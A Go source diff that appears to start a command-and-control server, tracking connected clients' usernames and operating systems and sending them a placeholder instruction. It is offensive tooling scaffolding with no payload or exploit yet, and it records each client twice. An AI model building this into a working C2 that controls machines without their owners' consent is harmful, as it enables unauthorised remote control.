diff --git a/cmd/serverFunc.go b/cmd/serverFunc.go index ce67d0c..610fca7 100644 --- a/cmd/serverFunc.go +++ b/cmd/serverFunc.go @@ -1,16 +1,34 @@ package cmd import ( + "encoding/gob" + "fmt" "log" "net" "github.com/spf13/viper" ) +type Client struct { + OS_username string + OperatingSystem string + Conn net.Conn +} + +type Instructions struct { + Message string +} + var ( - C2Port string = "1337" + C2Port string = "1302" + clientList []*Client ) +func (I Instructions) Send(c net.Conn) { + message := "Do a flip!\n" + c.Write([]byte(message)) +} + func Server() { p := viper.GetString("Server.Port") if p != "" { @@ -35,5 +53,28 @@ func Server() { } func handleConn(conn net.Conn) { - + client, err := getOS(conn) + if err != nil { + log.Printf("Error happened receiving OS information: %v\n", err) + } + client.Conn = conn + fmt.Println("Got info from new user:", client.OS_username, client.OperatingSystem) + clientList = append(clientList, client) +} + +func sendInstructions(conn net.Conn) { + i := Instructions{} + i.Send(conn) +} + +func getOS(conn net.Conn) (*Client, error) { + dec := gob.NewDecoder(conn) + c := new(Client) + err := dec.Decode(&c) + if err != nil { + bad := Client{} + return &bad, err + } + clientList = append(clientList, c) + return c, nil }